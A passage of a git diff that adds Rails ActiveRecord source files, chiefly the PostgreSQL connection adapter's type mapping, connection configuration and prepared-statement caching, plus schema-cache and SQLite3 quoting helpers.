+    #   <encoding></tt> call on the connection.
+    # * <tt>:min_messages</tt> - An optional client min messages that is used in a
+    #   <tt>SET client_min_messages TO <min_messages></tt> call on the connection.
+    # * <tt>:variables</tt> - An optional hash of additional parameters that
+    #   will be used in <tt>SET SESSION key = val</tt> calls on the connection.
+    # * <tt>:insert_returning</tt> - An optional boolean to control the use of <tt>RETURNING</tt> for <tt>INSERT</tt> statements
+    #   defaults to true.
+    #
+    # Any further options are used as connection parameters to libpq. See
+    # https://www.postgresql.org/docs/current/static/libpq-connect.html for the
+    # list of parameters.
+    #
+    # In addition, default connection parameters of libpq can be set per environment variables.
+    # See https://www.postgresql.org/docs/current/static/libpq-envars.html .
+    class PostgreSQLAdapter < AbstractAdapter
+      ADAPTER_NAME = "PostgreSQL".freeze
+
+      NATIVE_DATABASE_TYPES = {
+        primary_key: "bigserial primary key",
+        string:      { name: "character varying" },
+        text:        { name: "text" },
+        integer:     { name: "integer" },
+        float:       { name: "float" },
+        decimal:     { name: "decimal" },
+        datetime:    { name: "timestamp" },
+        time:        { name: "time" },
+        date:        { name: "date" },
+        daterange:   { name: "daterange" },
+        numrange:    { name: "numrange" },
+        tsrange:     { name: "tsrange" },
+        tstzrange:   { name: "tstzrange" },
+        int4range:   { name: "int4range" },
+        int8range:   { name: "int8range" },
+        binary:      { name: "bytea" },
+        boolean:     { name: "boolean" },
+        xml:         { name: "xml" },
+        tsvector:    { name: "tsvector" },
+        hstore:      { name: "hstore" },
+        inet:        { name: "inet" },
+        cidr:        { name: "cidr" },
+        macaddr:     { name: "macaddr" },
+        uuid:        { name: "uuid" },
+        json:        { name: "json" },
+        jsonb:       { name: "jsonb" },
+        ltree:       { name: "ltree" },
+        citext:      { name: "citext" },
+        point:       { name: "point" },
+        line:        { name: "line" },
+        lseg:        { name: "lseg" },
+        box:         { name: "box" },
+        path:        { name: "path" },
+        polygon:     { name: "polygon" },
+        circle:      { name: "circle" },
+        bit:         { name: "bit" },
+        bit_varying: { name: "bit varying" },
+        money:       { name: "money" },
+        interval:    { name: "interval" },
+        oid:         { name: "oid" },
+      }
+
+      OID = PostgreSQL::OID #:nodoc:
+
+      include PostgreSQL::Quoting
+      include PostgreSQL::ReferentialIntegrity
+      include PostgreSQL::SchemaStatements
+      include PostgreSQL::DatabaseStatements
+      include PostgreSQL::ColumnDumper
+
+      def supports_index_sort_order?
+        true
+      end
+
+      def supports_partial_index?
+        true
+      end
+
+      def supports_expression_index?
+        true
+      end
+
+      def supports_transaction_isolation?
+        true
+      end
+
+      def supports_foreign_keys?
+        true
+      end
+
+      def supports_views?
+        true
+      end
+
+      def supports_datetime_with_precision?
+        true
+      end
+
+      def supports_json?
+        postgresql_version >= 90200
+      end
+
+      def supports_comments?
+        true
+      end
+
+      def supports_savepoints?
+        true
+      end
+
+      def index_algorithms
+        { concurrently: "CONCURRENTLY" }
+      end
+
+      class StatementPool < ConnectionAdapters::StatementPool
+        def initialize(connection, max)
+          super(max)
+          @connection = connection
+          @counter = 0
+        end
+
+        def next_key
+          "a#{@counter + 1}"
+        end
+
+        def []=(sql, key)
+          super.tap { @counter += 1 }
+        end
+
+        private
+
+          def dealloc(key)
+            @connection.query "DEALLOCATE #{key}" if connection_active?
+          rescue PG::Error
+          end
+
+          def connection_active?
+            @connection.status == PG::CONNECTION_OK
+          rescue PG::Error
+            false
+          end
+      end
+
+      # Initializes and connects a PostgreSQL adapter.
+      def initialize(connection, logger, connection_parameters, config)
+        super(connection, logger, config)
+
+        @connection_parameters = connection_parameters
+
+        # @local_tz is initialized as nil to avoid warnings when connect tries to use it
+        @local_tz = nil
+        @max_identifier_length = nil
+
+        connect
+        add_pg_encoders
+        @statements = StatementPool.new @connection,
+                                        self.class.type_cast_config_to_integer(config[:statement_limit])
+
+        if postgresql_version < 90100
+          raise "Your version of PostgreSQL (#{postgresql_version}) is too old. Active Record supports PostgreSQL >= 9.1."
+        end
+
+        add_pg_decoders
+
+        @type_map = Type::HashLookupTypeMap.new
+        initialize_type_map
+        @local_tz = execute("SHOW TIME ZONE", "SCHEMA").first["TimeZone"]
+        @use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
+      end
+
+      # Clears the prepared statements cache.
+      def clear_cache!
+        @lock.synchronize do
+          @statements.clear
+        end
+      end
+
+      def truncate(table_name, name = nil)
+        exec_query "TRUNCATE TABLE #{quote_table_name(table_name)}", name, []
+      end
+
+      # Is this connection alive and ready for queries?
+      def active?
+        @lock.synchronize do
+          @connection.query "SELECT 1"
+        end
+        true
+      rescue PG::Error
+        false
+      end
+
+      # Close then reopen the connection.
+      def reconnect!
+        @lock.synchronize do
+          super
+          @connection.reset
+          configure_connection
+        end
+      end
+
+      def reset!
+        @lock.synchronize do
+          clear_cache!
+          reset_transaction
+          unless @connection.transaction_status == ::PG::PQTRANS_IDLE
+            @connection.query "ROLLBACK"
+          end
+          @connection.query "DISCARD ALL"
+          configure_connection
+        end
+      end
+
+      # Disconnects from the database if already connected. Otherwise, this
+      # method does nothing.
+      def disconnect!
+        @lock.synchronize do
+          super
+          @connection.close rescue nil
+        end
+      end
+
+      def native_database_types #:nodoc:
+        NATIVE_DATABASE_TYPES
+      end
+
+      def set_standard_conforming_strings
+        execute("SET standard_conforming_strings = on", "SCHEMA")
+      end
+
+      def supports_ddl_transactions?
+        true
+      end
+
+      def supports_advisory_locks?
+        true
+      end
+
+      def supports_explain?
+        true
+      end
+
+      def supports_extensions?
+        true
+      end
+
+      def supports_ranges?
+        # Range datatypes weren't introduced until PostgreSQL 9.2
+        postgresql_version >= 90200
+      end
+
+      def supports_materialized_views?
+        postgresql_version >= 90300
+      end
+
+      def supports_pgcrypto_uuid?
+        postgresql_version >= 90400
+      end
+
+      def get_advisory_lock(lock_id) # :nodoc:
+        unless lock_id.is_a?(Integer) && lock_id.bit_length <= 63
+          raise(ArgumentError, "Postgres requires advisory lock ids to be a signed 64 bit integer")
+        end
+        query_value("SELECT pg_try_advisory_lock(#{lock_id})")
+      end
+
+      def release_advisory_lock(lock_id) # :nodoc:
+        unless lock_id.is_a?(Integer) && lock_id.bit_length <= 63
+          raise(ArgumentError, "Postgres requires advisory lock ids to be a signed 64 bit integer")
+        end
+        query_value("SELECT pg_advisory_unlock(#{lock_id})")
+      end
+
+      def enable_extension(name)
+        exec_query("CREATE EXTENSION IF NOT EXISTS \"#{name}\"").tap {
+          reload_type_map
+        }
+      end
+
+      def disable_extension(name)
+        exec_query("DROP EXTENSION IF EXISTS \"#{name}\" CASCADE").tap {
+          reload_type_map
+        }
+      end
+
+      def extension_enabled?(name)
+        if supports_extensions?
+          res = exec_query("SELECT EXISTS(SELECT * FROM pg_available_extensions WHERE name = '#{name}' AND installed_version IS NOT NULL) as enabled", "SCHEMA")
+          res.cast_values.first
+        end
+      end
+
+      def extensions
+        if supports_extensions?
+          exec_query("SELECT extname FROM pg_extension", "SCHEMA").cast_values
+        else
+          super
+        end
+      end
+
+      # Returns the configured supported identifier length supported by PostgreSQL
+      def table_alias_length
+        @max_identifier_length ||= query_value("SHOW max_identifier_length", "SCHEMA").to_i
+      end
+      alias index_name_length table_alias_length
+
+      # Set the authorized user for this session
+      def session_auth=(user)
+        clear_cache!
+        execute("SET SESSION AUTHORIZATION #{user}")
+      end
+
+      def use_insert_returning?
+        @use_insert_returning
+      end
+
+      def update_table_definition(table_name, base) #:nodoc:
+        PostgreSQL::Table.new(table_name, base)
+      end
+
+      def column_name_for_operation(operation, node) # :nodoc:
+        OPERATION_ALIASES.fetch(operation) { operation.downcase }
+      end
+
+      OPERATION_ALIASES = { # :nodoc:
+        "maximum" => "max",
+        "minimum" => "min",
+        "average" => "avg",
+      }
+
+      # Returns the version of the connected PostgreSQL server.
+      def postgresql_version
+        @connection.server_version
+      end
+
+      def default_index_type?(index) # :nodoc:
+        index.using == :btree || super
+      end
+
+      private
+
+        # See https://www.postgresql.org/docs/current/static/errcodes-appendix.html
+        VALUE_LIMIT_VIOLATION = "22001"
+        NUMERIC_VALUE_OUT_OF_RANGE = "22003"
+        NOT_NULL_VIOLATION    = "23502"
+        FOREIGN_KEY_VIOLATION = "23503"
+        UNIQUE_VIOLATION      = "23505"
+        SERIALIZATION_FAILURE = "40001"
+        DEADLOCK_DETECTED     = "40P01"
+
+        def translate_exception(exception, message)
+          return exception unless exception.respond_to?(:result)
+
+          case exception.result.try(:error_field, PG::PG_DIAG_SQLSTATE)
+          when UNIQUE_VIOLATION
+            RecordNotUnique.new(message)
+          when FOREIGN_KEY_VIOLATION
+            InvalidForeignKey.new(message)
+          when VALUE_LIMIT_VIOLATION
+            ValueTooLong.new(message)
+          when NUMERIC_VALUE_OUT_OF_RANGE
+            RangeError.new(message)
+          when NOT_NULL_VIOLATION
+            NotNullViolation.new(message)
+          when SERIALIZATION_FAILURE
+            SerializationFailure.new(message)
+          when DEADLOCK_DETECTED
+            Deadlocked.new(message)
+          else
+            super
+          end
+        end
+
+        def get_oid_type(oid, fmod, column_name, sql_type = "".freeze)
+          if !type_map.key?(oid)
+            load_additional_types([oid])
+          end
+
+          type_map.fetch(oid, fmod, sql_type) {
+            warn "unknown OID #{oid}: failed to recognize type of '#{column_name}'. It will be treated as String."
+            Type.default_value.tap do |cast_type|
+              type_map.register_type(oid, cast_type)
+            end
+          }
+        end
+
+        def initialize_type_map(m = type_map)
+          register_class_with_limit m, "int2", Type::Integer
+          register_class_with_limit m, "int4", Type::Integer
+          register_class_with_limit m, "int8", Type::Integer
+          m.register_type "oid", OID::Oid.new
+          m.register_type "float4", Type::Float.new
+          m.alias_type "float8", "float4"
+          m.register_type "text", Type::Text.new
+          register_class_with_limit m, "varchar", Type::String
+          m.alias_type "char", "varchar"
+          m.alias_type "name", "varchar"
+          m.alias_type "bpchar", "varchar"
+          m.register_type "bool", Type::Boolean.new
+          register_class_with_limit m, "bit", OID::Bit
+          register_class_with_limit m, "varbit", OID::BitVarying
+          m.alias_type "timestamptz", "timestamp"
+          m.register_type "date", Type::Date.new
+
+          m.register_type "money", OID::Money.new
+          m.register_type "bytea", OID::Bytea.new
+          m.register_type "point", OID::Point.new
+          m.register_type "hstore", OID::Hstore.new
+          m.register_type "json", Type::Json.new
+          m.register_type "jsonb", OID::Jsonb.new
+          m.register_type "cidr", OID::Cidr.new
+          m.register_type "inet", OID::Inet.new
+          m.register_type "uuid", OID::Uuid.new
+          m.register_type "xml", OID::Xml.new
+          m.register_type "tsvector", OID::SpecializedString.new(:tsvector)
+          m.register_type "macaddr", OID::SpecializedString.new(:macaddr)
+          m.register_type "citext", OID::SpecializedString.new(:citext)
+          m.register_type "ltree", OID::SpecializedString.new(:ltree)
+          m.register_type "line", OID::SpecializedString.new(:line)
+          m.register_type "lseg", OID::SpecializedString.new(:lseg)
+          m.register_type "box", OID::SpecializedString.new(:box)
+          m.register_type "path", OID::SpecializedString.new(:path)
+          m.register_type "polygon", OID::SpecializedString.new(:polygon)
+          m.register_type "circle", OID::SpecializedString.new(:circle)
+
+          m.register_type "interval" do |_, _, sql_type|
+            precision = extract_precision(sql_type)
+            OID::SpecializedString.new(:interval, precision: precision)
+          end
+
+          register_class_with_precision m, "time", Type::Time
+          register_class_with_precision m, "timestamp", OID::DateTime
+
+          m.register_type "numeric" do |_, fmod, sql_type|
+            precision = extract_precision(sql_type)
+            scale = extract_scale(sql_type)
+
+            # The type for the numeric depends on the width of the field,
+            # so we'll do something special here.
+            #
+            # When dealing with decimal columns:
+            #
+            # places after decimal  = fmod - 4 & 0xffff
+            # places before decimal = (fmod - 4) >> 16 & 0xffff
+            if fmod && (fmod - 4 & 0xffff).zero?
+              # FIXME: Remove this class, and the second argument to
+              # lookups on PG
+              Type::DecimalWithoutScale.new(precision: precision)
+            else
+              OID::Decimal.new(precision: precision, scale: scale)
+            end
+          end
+
+          load_additional_types
+        end
+
+        def extract_limit(sql_type)
+          case sql_type
+          when /^bigint/i, /^int8/i
+            8
+          when /^smallint/i
+            2
+          else
+            super
+          end
+        end
+
+        # Extracts the value from a PostgreSQL column default definition.
+        def extract_value_from_default(default)
+          case default
+            # Quoted types
+          when /\A[\(B]?'(.*)'.*::"?([\w. ]+)"?(?:\[\])?\z/m
+            # The default 'now'::date is CURRENT_DATE
+            if $1 == "now".freeze && $2 == "date".freeze
+              nil
+            else
+              $1.gsub("''".freeze, "'".freeze)
+            end
+            # Boolean types
+          when "true".freeze, "false".freeze
+            default
+            # Numeric types
+          when /\A\(?(-?\d+(\.\d*)?)\)?(::bigint)?\z/
+            $1
+            # Object identifier types
+          when /\A-?\d+\z/
+            $1
+          else
+            # Anything else is blank, some user type, or some function
+            # and we can't know the value of that, so return nil.
+            nil
+          end
+        end
+
+        def extract_default_function(default_value, default)
+          default if has_default_function?(default_value, default)
+        end
+
+        def has_default_function?(default_value, default)
+          !default_value && %r{\w+\(.*\)|\(.*\)::\w+|CURRENT_DATE|CURRENT_TIMESTAMP}.match?(default)
+        end
+
+        def load_additional_types(oids = nil)
+          initializer = OID::TypeMapInitializer.new(type_map)
+
+          if supports_ranges?
+            query = <<-SQL
+              SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, r.rngsubtype, t.typtype, t.typbasetype
+              FROM pg_type as t
+              LEFT JOIN pg_range as r ON oid = rngtypid
+            SQL
+          else
+            query = <<-SQL
+              SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, t.typtype, t.typbasetype
+              FROM pg_type as t
+            SQL
+          end
+
+          if oids
+            query += "WHERE t.oid::integer IN (%s)" % oids.join(", ")
+          else
+            query += initializer.query_conditions_for_initial_load
+          end
+
+          execute_and_clear(query, "SCHEMA", []) do |records|
+            initializer.run(records)
+          end
+        end
+
+        FEATURE_NOT_SUPPORTED = "0A000" #:nodoc:
+
+        def execute_and_clear(sql, name, binds, prepare: false)
+          if without_prepared_statement?(binds)
+            result = exec_no_cache(sql, name, [])
+          elsif !prepare
+            result = exec_no_cache(sql, name, binds)
+          else
+            result = exec_cache(sql, name, binds)
+          end
+          ret = yield result
+          result.clear
+          ret
+        end
+
+        def exec_no_cache(sql, name, binds)
+          type_casted_binds = type_casted_binds(binds)
+          log(sql, name, binds, type_casted_binds) do
+            ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+              @connection.async_exec(sql, type_casted_binds)
+            end
+          end
+        end
+
+        def exec_cache(sql, name, binds)
+          stmt_key = prepare_statement(sql)
+          type_casted_binds = type_casted_binds(binds)
+
+          log(sql, name, binds, type_casted_binds, stmt_key) do
+            ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+              @connection.exec_prepared(stmt_key, type_casted_binds)
+            end
+          end
+        rescue ActiveRecord::StatementInvalid => e
+          raise unless is_cached_plan_failure?(e)
+
+          # Nothing we can do if we are in a transaction because all commands
+          # will raise InFailedSQLTransaction
+          if in_transaction?
+            raise ActiveRecord::PreparedStatementCacheExpired.new(e.cause.message)
+          else
+            @lock.synchronize do
+              # outside of transactions we can simply flush this query and retry
+              @statements.delete sql_key(sql)
+            end
+            retry
+          end
+        end
+
+        # Annoyingly, the code for prepared statements whose return value may
+        # have changed is FEATURE_NOT_SUPPORTED.
+        #
+        # This covers various different error types so we need to do additional
+        # work to classify the exception definitively as a
+        # ActiveRecord::PreparedStatementCacheExpired
+        #
+        # Check here for more details:
+        # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
+        CACHED_PLAN_HEURISTIC = "cached plan must not change result type".freeze
+        def is_cached_plan_failure?(e)
+          pgerror = e.cause
+          code = pgerror.result.result_error_field(PG::PG_DIAG_SQLSTATE)
+          code == FEATURE_NOT_SUPPORTED && pgerror.message.include?(CACHED_PLAN_HEURISTIC)
+        rescue
+          false
+        end
+
+        def in_transaction?
+          open_transactions > 0
+        end
+
+        # Returns the statement identifier for the client side cache
+        # of statements
+        def sql_key(sql)
+          "#{schema_search_path}-#{sql}"
+        end
+
+        # Prepare the statement if it hasn't been prepared, return
+        # the statement key.
+        def prepare_statement(sql)
+          @lock.synchronize do
+            sql_key = sql_key(sql)
+            unless @statements.key? sql_key
+              nextkey = @statements.next_key
+              begin
+                @connection.prepare nextkey, sql
+              rescue => e
+                raise translate_exception_class(e, sql)
+              end
+              # Clear the queue
+              @connection.get_last_result
+              @statements[sql_key] = nextkey
+            end
+            @statements[sql_key]
+          end
+        end
+
+        # Connects to a PostgreSQL server and sets up the adapter depending on the
+        # connected server's characteristics.
+        def connect
+          @connection = PG.connect(@connection_parameters)
+          configure_connection
+        rescue ::PG::Error => error
+          if error.message.include?("does not exist")
+            raise ActiveRecord::NoDatabaseError
+          else
+            raise
+          end
+        end
+
+        # Configures the encoding, verbosity, schema search path, and time zone of the connection.
+        # This is called by #connect and should not be called manually.
+        def configure_connection
+          if @config[:encoding]
+            @connection.set_client_encoding(@config[:encoding])
+          end
+          self.client_min_messages = @config[:min_messages] || "warning"
+          self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]
+
+          # Use standard-conforming strings so we don't have to do the E'...' dance.
+          set_standard_conforming_strings
+
+          # If using Active Record's time zone support configure the connection to return
+          # TIMESTAMP WITH ZONE types in UTC.
+          # (SET TIME ZONE does not use an equals sign like other SET variables)
+          if ActiveRecord::Base.default_timezone == :utc
+            execute("SET time zone 'UTC'", "SCHEMA")
+          elsif @local_tz
+            execute("SET time zone '#{@local_tz}'", "SCHEMA")
+          end
+
+          # SET statements from :variables config hash
+          # https://www.postgresql.org/docs/current/static/sql-set.html
+          variables = @config[:variables] || {}
+          variables.map do |k, v|
+            if v == ":default" || v == :default
+              # Sets the value to the global or compile default
+              execute("SET SESSION #{k} TO DEFAULT", "SCHEMA")
+            elsif !v.nil?
+              execute("SET SESSION #{k} TO #{quote(v)}", "SCHEMA")
+            end
+          end
+        end
+
+        # Returns the list of a table's column names, data types, and default values.
+        #
+        # The underlying query is roughly:
+        #  SELECT column.name, column.type, default.value, column.comment
+        #    FROM column LEFT JOIN default
+        #      ON column.table_id = default.table_id
+        #     AND column.num = default.column_num
+        #   WHERE column.table_id = get_table_id('table_name')
+        #     AND column.num > 0
+        #     AND NOT column.is_dropped
+        #   ORDER BY column.num
+        #
+        # If the table name is not prefixed with a schema, the database will
+        # take the first match from the schema search path.
+        #
+        # Query implementation notes:
+        #  - format_type includes the column size constraint, e.g. varchar(50)
+        #  - ::regclass is a function that gives the id for a table name
+        def column_definitions(table_name)
+          query(<<-end_sql, "SCHEMA")
+              SELECT a.attname, format_type(a.atttypid, a.atttypmod),
+                     pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod,
+                     c.collname, col_description(a.attrelid, a.attnum) AS comment
+                FROM pg_attribute a
+                LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum
+                LEFT JOIN pg_type t ON a.atttypid = t.oid
+                LEFT JOIN pg_collation c ON a.attcollation = c.oid AND a.attcollation <> t.typcollation
+               WHERE a.attrelid = #{quote(quote_table_name(table_name))}::regclass
+                 AND a.attnum > 0 AND NOT a.attisdropped
+               ORDER BY a.attnum
+          end_sql
+        end
+
+        def extract_table_ref_from_insert_sql(sql)
+          sql[/into\s("[A-Za-z0-9_."\[\]\s]+"|[A-Za-z0-9_."\[\]]+)\s*/im]
+          $1.strip if $1
+        end
+
+        def arel_visitor
+          Arel::Visitors::PostgreSQL.new(self)
+        end
+
+        def can_perform_case_insensitive_comparison_for?(column)
+          @case_insensitive_cache ||= {}
+          @case_insensitive_cache[column.sql_type] ||= begin
+            sql = <<-end_sql
+              SELECT exists(
+                SELECT * FROM pg_proc
+                WHERE proname = 'lower'
+                  AND proargtypes = ARRAY[#{quote column.sql_type}::regtype]::oidvector
+              ) OR exists(
+                SELECT * FROM pg_proc
+                INNER JOIN pg_cast
+                  ON ARRAY[casttarget]::oidvector = proargtypes
+                WHERE proname = 'lower'
+                  AND castsource = #{quote column.sql_type}::regtype
+              )
+            end_sql
+            execute_and_clear(sql, "SCHEMA", []) do |result|
+              result.getvalue(0, 0)
+            end
+          end
+        end
+
+        def add_pg_encoders
+          map = PG::TypeMapByClass.new
+          map[Integer] = PG::TextEncoder::Integer.new
+          map[TrueClass] = PG::TextEncoder::Boolean.new
+          map[FalseClass] = PG::TextEncoder::Boolean.new
+          @connection.type_map_for_queries = map
+        end
+
+        def add_pg_decoders
+          coders_by_name = {
+            "int2" => PG::TextDecoder::Integer,
+            "int4" => PG::TextDecoder::Integer,
+            "int8" => PG::TextDecoder::Integer,
+            "oid" => PG::TextDecoder::Integer,
+            "float4" => PG::TextDecoder::Float,
+            "float8" => PG::TextDecoder::Float,
+            "bool" => PG::TextDecoder::Boolean,
+          }
+          known_coder_types = coders_by_name.keys.map { |n| quote(n) }
+          query = <<-SQL % known_coder_types.join(", ")
+            SELECT t.oid, t.typname
+            FROM pg_type as t
+            WHERE t.typname IN (%s)
+          SQL
+          coders = execute_and_clear(query, "SCHEMA", []) do |result|
+            result
+              .map { |row| construct_coder(row, coders_by_name[row["typname"]]) }
+              .compact
+          end
+
+          map = PG::TypeMapByOid.new
+          coders.each { |coder| map.add_coder(coder) }
+          @connection.type_map_for_results = map
+        end
+
+        def construct_coder(row, coder_class)
+          return unless coder_class
+          coder_class.new(oid: row["oid"].to_i, name: row["typname"])
+        end
+
+        ActiveRecord::Type.add_modifier({ array: true }, OID::Array, adapter: :postgresql)
+        ActiveRecord::Type.add_modifier({ range: true }, OID::Range, adapter: :postgresql)
+        ActiveRecord::Type.register(:bit, OID::Bit, adapter: :postgresql)
+        ActiveRecord::Type.register(:bit_varying, OID::BitVarying, adapter: :postgresql)
+        ActiveRecord::Type.register(:binary, OID::Bytea, adapter: :postgresql)
+        ActiveRecord::Type.register(:cidr, OID::Cidr, adapter: :postgresql)
+        ActiveRecord::Type.register(:datetime, OID::DateTime, adapter: :postgresql)
+        ActiveRecord::Type.register(:decimal, OID::Decimal, adapter: :postgresql)
+        ActiveRecord::Type.register(:enum, OID::Enum, adapter: :postgresql)
+        ActiveRecord::Type.register(:hstore, OID::Hstore, adapter: :postgresql)
+        ActiveRecord::Type.register(:inet, OID::Inet, adapter: :postgresql)
+        ActiveRecord::Type.register(:jsonb, OID::Jsonb, adapter: :postgresql)
+        ActiveRecord::Type.register(:money, OID::Money, adapter: :postgresql)
+        ActiveRecord::Type.register(:point, OID::Point, adapter: :postgresql)
+        ActiveRecord::Type.register(:legacy_point, OID::LegacyPoint, adapter: :postgresql)
+        ActiveRecord::Type.register(:uuid, OID::Uuid, adapter: :postgresql)
+        ActiveRecord::Type.register(:vector, OID::Vector, adapter: :postgresql)
+        ActiveRecord::Type.register(:xml, OID::Xml, adapter: :postgresql)
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/schema_cache.rb b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
new file mode 100644
index 0000000000..f34b6733da
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    class SchemaCache
+      attr_reader :version
+      attr_accessor :connection
+
+      def initialize(conn)
+        @connection = conn
+
+        @columns      = {}
+        @columns_hash = {}
+        @primary_keys = {}
+        @data_sources = {}
+      end
+
+      def initialize_dup(other)
+        super
+        @columns      = @columns.dup
+        @columns_hash = @columns_hash.dup
+        @primary_keys = @primary_keys.dup
+        @data_sources = @data_sources.dup
+      end
+
+      def encode_with(coder)
+        coder["columns"] = @columns
+        coder["columns_hash"] = @columns_hash
+        coder["primary_keys"] = @primary_keys
+        coder["data_sources"] = @data_sources
+        coder["version"] = ActiveRecord::Migrator.current_version
+      end
+
+      def init_with(coder)
+        @columns = coder["columns"]
+        @columns_hash = coder["columns_hash"]
+        @primary_keys = coder["primary_keys"]
+        @data_sources = coder["data_sources"]
+        @version = coder["version"]
+      end
+
+      def primary_keys(table_name)
+        @primary_keys[table_name] ||= data_source_exists?(table_name) ? connection.primary_key(table_name) : nil
+      end
+
+      # A cached lookup for table existence.
+      def data_source_exists?(name)
+        prepare_data_sources if @data_sources.empty?
+        return @data_sources[name] if @data_sources.key? name
+
+        @data_sources[name] = connection.data_source_exists?(name)
+      end
+
+      # Add internal cache for table with +table_name+.
+      def add(table_name)
+        if data_source_exists?(table_name)
+          primary_keys(table_name)
+          columns(table_name)
+          columns_hash(table_name)
+        end
+      end
+
+      def data_sources(name)
+        @data_sources[name]
+      end
+
+      # Get the columns for a table
+      def columns(table_name)
+        @columns[table_name] ||= connection.columns(table_name)
+      end
+
+      # Get the columns for a table as a hash, key is the column name
+      # value is the column object.
+      def columns_hash(table_name)
+        @columns_hash[table_name] ||= Hash[columns(table_name).map { |col|
+          [col.name, col]
+        }]
+      end
+
+      # Clears out internal caches
+      def clear!
+        @columns.clear
+        @columns_hash.clear
+        @primary_keys.clear
+        @data_sources.clear
+        @version = nil
+      end
+
+      def size
+        [@columns, @columns_hash, @primary_keys, @data_sources].map(&:size).inject :+
+      end
+
+      # Clear out internal caches for the data source +name+.
+      def clear_data_source_cache!(name)
+        @columns.delete name
+        @columns_hash.delete name
+        @primary_keys.delete name
+        @data_sources.delete name
+      end
+
+      def marshal_dump
+        # if we get current version during initialization, it happens stack over flow.
+        @version = ActiveRecord::Migrator.current_version
+        [@version, @columns, @columns_hash, @primary_keys, @data_sources]
+      end
+
+      def marshal_load(array)
+        @version, @columns, @columns_hash, @primary_keys, @data_sources = array
+      end
+
+      private
+
+        def prepare_data_sources
+          connection.data_sources.each { |source| @data_sources[source] = true }
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sql_type_metadata.rb b/activerecord/lib/active_record/connection_adapters/sql_type_metadata.rb
new file mode 100644
index 0000000000..8489bcbf1d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sql_type_metadata.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # :stopdoc:
+  module ConnectionAdapters
+    class SqlTypeMetadata
+      attr_reader :sql_type, :type, :limit, :precision, :scale
+
+      def initialize(sql_type: nil, type: nil, limit: nil, precision: nil, scale: nil)
+        @sql_type = sql_type
+        @type = type
+        @limit = limit
+        @precision = precision
+        @scale = scale
+      end
+
+      def ==(other)
+        other.is_a?(SqlTypeMetadata) &&
+          attributes_for_hash == other.attributes_for_hash
+      end
+      alias eql? ==
+
+      def hash
+        attributes_for_hash.hash
+      end
+
+      protected
+
+        def attributes_for_hash
+          [self.class, sql_type, type, limit, precision, scale]
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb
new file mode 100644
index 0000000000..832fdfe5c4
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module SQLite3
+      class ExplainPrettyPrinter # :nodoc:
+        # Pretty prints the result of an EXPLAIN QUERY PLAN in a way that resembles
+        # the output of the SQLite shell:
+        #
+        #   0|0|0|SEARCH TABLE users USING INTEGER PRIMARY KEY (rowid=?) (~1 rows)
+        #   0|1|1|SCAN TABLE posts (~100000 rows)
+        #
+        def pp(result)
+          result.rows.map do |row|
+            row.join("|")
+          end.join("\n") + "\n"
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/quoting.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/quoting.rb
new file mode 100644
index 0000000000..8042dbfea2
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/quoting.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module SQLite3
+      module Quoting # :nodoc:
+        def quote_string(s)
+          @connection.class.quote(s)
+        end
+
+        def quote_table_name_for_assignment(table, attr)
+          quote_column_name(attr)
+        end
+
+        def quote_column_name(name)
+          @quoted_column_names[name] ||= %Q("#{super.gsub('"', '""')}").freeze
+        end
+
+        def quoted_time(value)
+          quoted_date(value)
+        end
+
+        def quoted_binary(value)
+          "x'#{value.hex}'"
+        end
+
+        def quoted_true
+          ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer ? "1".freeze : "'t'".freeze
+        end
+
+        def unquoted_true
+          ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer ? 1 : "t".freeze
+        end
+
+        def quoted_false
+          ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer ? "0".freeze : "'f'".freeze
+        end
+
+        def unquoted_false
+          ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer ? 0 : "f".freeze
+        end
+
+        private
+
+          def _type_cast(value)
+            case value
+            when BigDecimal
+              value.to_f
+            when String
+              if value.encoding == Encoding::ASCII_8BIT
+                super(value.encode(Encoding::UTF_8))
+              else
+                super
+              end
+            else
+              super
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb
new file mode 100644
index 0000000000..b842561317
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module SQLite3
+      class SchemaCreation < AbstractAdapter::SchemaCreation # :nodoc:
+        private
+          def add_column_options!(sql, options)
+            if options[:collation]
+              sql << " COLLATE \"#{options[:collation]}\""
+            end
+            super
+          end
+      end
